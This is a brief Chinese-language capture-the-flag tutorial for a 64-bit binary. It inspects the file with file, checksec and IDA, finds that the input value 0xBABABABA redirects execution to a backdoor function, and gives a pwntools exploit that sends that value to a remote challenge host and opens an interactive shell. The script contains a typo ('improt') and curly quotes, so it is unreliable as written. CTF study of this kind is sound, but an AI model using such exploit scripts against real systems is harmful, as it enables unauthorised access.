tutorial1
我们拿到手一个文件后使用Ubuntu,用file来查看一下文件格式。
文件为64-bit,我们打开IDA64,并将文件拖进去。 checksec命令可以用来查看该文件有哪些保护措施。
接下来是IDA反编译之后的伪c代码 ,然后 查看mijie
-1162167622转化成16进制后为0xBABABABA
当buf的值为0xBABABABA时,函数会跳转到backdoor函数
我们双击backdoor可以得到
接下来写exploit
from pwn improt *
context(log_level='debug')
p = remote(“redirect.do-not-trust.hacking.run”,10468)
payload = 0xBABABABA
p.sendline(p64(payload))
p.recv()
p.interactive()